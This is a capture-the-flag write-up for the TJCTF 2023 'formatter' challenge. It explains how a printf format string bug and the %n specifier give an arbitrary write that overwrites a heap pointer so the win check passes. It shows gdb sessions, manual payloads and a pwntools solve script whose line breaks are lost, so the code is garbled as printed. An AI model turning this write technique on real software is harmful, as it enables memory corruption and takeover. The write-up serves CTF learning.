printf() format string vulnerability allows arbitrary write. Using the %n specifier, overwrite a pointer variable located on the heap to win.
Basic File Checks
The binary happens to be a simple echo server. Based on the challenge name alone, we know that the challenge is somewhat related to Format String Vulnerability.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./formatter
give me a string (or else): test
test
samongus
Looking at the binary protections, the absence of canary may just be hinting that there is no need to use any read primitives from printf() like %x and %p to leak the canary value, making it easier for us to overwrite addresses if there is any write primitives available.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ checksec --file=formatter
[*] '/home/kali/Desktop/CTF/TJCTF2023/pwn: formatter/formatter'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Static Code Analysis
There seems to be no low hanging fruit such as buffer overflow because fgets is limiting 256 (0x100) characters to the buffer local_118 which holds up to 268 characters.
On the other hand, there is a xd variable that we need to overwrite in order to receive the flag. There are several important facts about this variable worth taking note of:
xd is a POINTER variable initialized on the HEAP.
calloc is used for initialization, meaning that the value of &xd will be 0.
Before win function is called, the value of &xd is incremented by 2 via the r1 function. All of this takes place after our printf vulnerability, meaning we would have to minus 2 from our user-supplied input.
Since there is no ASLR, we can find the static addresses of xd and &xd and overwrite them in a debugger at runtime to confirm our hypothesis.
The address of xd pointer is 0x403440. However, overwriting this address will not be beneficial because the win function is actually comparing the value of &xd.
To locate the address of &xd, place a strategic breakpoint at 0x4012ab in the r1 function, right before &xd is incremented. The instruction before this breakpoint is basically just loading the address of &xd into rax.
If everything goes as plan, inspecting the rax register at this breakpoint will reveal the address of &xd as 0x4042a0.
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ gdb formatter
GNU gdb (Debian 13.1-3) 13.1
For help, type "help".
pwndbg> b *0x4012ab
Breakpoint 1 at 0x4012ab
pwndbg> r
Starting program: /home/kali/Desktop/CTF/TJCTF2023/pwn: formatter/formatter
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
give me a string (or else): test
test
Breakpoint 1, 0x00000000004012ab in r1 ()
───────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────
► 0x4012ab <r1+24> mov edx, dword ptr [rax]
0x4012ad <r1+26> mov rax, qword ptr [rip + 0x218c] <xd>
0x4012b4 <r1+33> add edx, 2
0x4012b7 <r1+36> mov dword ptr [rax], edx
0x4012b9 <r1+38> mov rax, qword ptr [rip + 0x2160] <stdout@GLIBC_2.2.5>
0x4012c0 <r1+45> mov edx, dword ptr [rbp - 4]
0x4012c3 <r1+48> sub edx, 1
0x4012c6 <r1+51> mov rsi, rax
0x4012c9 <r1+54> mov edi, edx
0x4012cb <r1+56> call putw@plt <putw@plt>
0x4012d0 <r1+61> lea rax, [rip + 0xd56]
────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────
pwndbg> x $rax
0x4042a0: 0x00000000
pwndbg> x &xd
0x403440 <xd>: 0x004042a0
Printing the value of &xd shows 0x00000000, which is valid because calloc initializes the value of &xd as 0.
pwndbg> x 0x4042a0
0x4042a0: 0x00000000
Continue the execution of program line-by-line for several instructions until &xd is incremented successfully, then check the value again, which should resolves to 0x02 by then.
pwndbg> n
pwndbg> n
pwndbg> n
pwndbg> n
pwndbg> x 0x4042a0
0x4042a0: 0x00000002
To summarize the above:
Address of xd: 0x403440
Value of xd: 0x4042a0
Address of &xd: 0x4042a0
Value of &xd: 0x000000
To confirm the accuracy of these addresses, we will now try to overwrite the value of &xd at the same breakpoint location, then continue program execution to verify if we managed to get the flag.
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ gdb formatter
GNU gdb (Debian 13.1-3) 13.1
For help, type "help".
pwndbg> b *0x4012ab
Breakpoint 1 at 0x4012ab
pwndbg> r
Starting program: /home/kali/Desktop/CTF/TJCTF2023/pwn: formatter/formatter
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
give me a string (or else): test
test
Breakpoint 1, 0x00000000004012ab in r1 ()
───────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────
► 0x4012ab <r1+24> mov edx, dword ptr [rax]
0x4012ad <r1+26> mov rax, qword ptr [rip + 0x218c] <xd>
0x4012b4 <r1+33> add edx, 2
0x4012b7 <r1+36> mov dword ptr [rax], edx
0x4012b9 <r1+38> mov rax, qword ptr [rip + 0x2160] <stdout@GLIBC_2.2.5>
0x4012c0 <r1+45> mov edx, dword ptr [rbp - 4]
0x4012c3 <r1+48> sub edx, 1
0x4012c6 <r1+51> mov rsi, rax
0x4012c9 <r1+54> mov edi, edx
0x4012cb <r1+56> call putw@plt <putw@plt>
0x4012d0 <r1+61> lea rax, [rip + 0xd56]
────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────
pwndbg> set *0x4042a0=0x86a693c
pwndbg> c
Continuing.
samongus
You win!
flag.txt not found
amongusgive me a string (or else): �����l���d����xR����?�����������������4zRx
���&D0���$D8����F▒J
�?▒;*3$"lctf{flag}���������1@�����`���������
[Inferior 1 (process 3984) exited normally]
Devise Exploit Plan
Now of course overwriting &xd using a debugger is not possible in a Binary Exploitation challenge. We need to leverage some kind of arbitrary write vulnerability to make this overwrite possible.
Revising What We Know
There is a format string vulnerability because printf did not explicitly declare a format specifier when user input is passed into. In most cases, this is enough for an Arbitrary Read, but the flag is only loaded on a later time for this challenge, so we can't abuse it to read the flag from the stack.
Luckily printf contains a rarely-used format specifier %n. This specifier takes in a pointer (memory address) and writes to the pointer with the number of characters written so far. If we can control the input, we can control how many characters are written and also where we write them, thereby providing a write primitive.
Crafting Payload Manually
Fuzzing the binary shows that our input is located at the 6th offset. Because of this, we can control what address is written to the 6th offset. In this case, we will write the address of &xd.
Now craft a two-part payload to overwrite &xd as a Proof-of-Concept.
Write address of &xd to the 6th offset.
Using the write primitive of %n to write value 3 (because the size of 0x4042a0 equals to 3) to the address located on the 6th offset.
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ python -c 'print("\xa0\x42\x40" + "%6$n")' | ./formatter
give me a string (or else): zsh: done python -c 'print("\xa0\x42\x40" + "%6$n")' |
zsh: segmentation fault ./formatter
Null Bytes
Hold on a second! Segfault ... why? In our previous fuzzing attempt, notice how we are writing a 3 byte address \xa0\x42\x40 to the 8 byte stack, which resulted in a corrupted address of 0x207025204042a0c2 instead of the actual address of &xd at 0x00000000004042a0.
As a result, when we try to write the value 3 (the size of our string) at the address pointed by %n (an invalid address), it leads to a segmentation fault.
If we try to pad the 3-byte address with 5 NULL bytes \x00, another problem will arise. This is because printf will stop at a null-byte, meaning printf will only read up to \x40, and ignores all the %p behind it, which is why no stack addresses are leaked as shown below.
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ python -c 'print("\xa0\x42\x40\x00\x00\x00\x00\x00 " + "%p %p %p %p %p %p %p %p %p %p %p")' | ./formatter
give me a string (or else): B@����amongus
Long Padding
Now, if writing 3 byte as our input means writing 3 at a specific address. We will have to write 141191484 (0x86a693c in decimal) characters by expanding the payload into 3 parts.
payload = 0x4042a0
# This will pad the 1st argument with value-3 bytes
# value-3 because we already wrote 3 bytes \xa0\x42\x40
payload += '%<141191484-3>x'
payload += '%6$n'
However, this will write 141191484-3 length of padding on the standard output, which will take a long time to complete.
Automated Exploitation
To circumvent the complications around NULL bytes, use the fmstr_payload module from pwntools to generate the payload dynamically. This also allows us to bypass the limitations of long padding when crafting the payload manually.
For some reason, overwriting &xd with 0x086a693e-2 directly does not work, so we will improvise and adopt another method that performs a double write.
There's apparently a buffer with the name among that does not seem to be used.
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ objdump -t formatter | grep ".bss"
0000000000403420 g O .bss 0000000000000008 stdout@GLIBC_2.2.5
0000000000403430 g O .bss 0000000000000008 stdin@GLIBC_2.2.5
0000000000403440 g O .bss 0000000000000008 xd
0000000000403560 g .bss 0000000000000000 _end
0000000000403460 g O .bss 0000000000000100 among
0000000000403420 g .bss 0000000000000000 __bss_start
As an alternative, we can write the magic value 0x086a693e-2 to the among buffer, then manipulate the pointer variable of xd to point towards among.
solve.py
#!/usr/bin/env python3from pwn import*import warnings# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)# Specify GDB script here (breakpoints etc)gdbscript ='''init-pwndbgcontinue'''.format(**locals())# Binary filenameexe ='./formatter'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Change logging level to help with debugging (error/warning/info/debug)context.log_level ='debug'# Disable warnings related to byteswarnings.filterwarnings(action='ignore', category=BytesWarning)# ===========================================================# EXPLOIT GOES HERE# ===========================================================io =start()rop =ROP(elf)payload =fmtstr_payload(6, {elf.symbols['among']: 0x086a693e-2, elf.symbols['xd']: elf.symbols['among']})io.recvuntil(b'(or else): ')io.sendline(payload)io.recvall()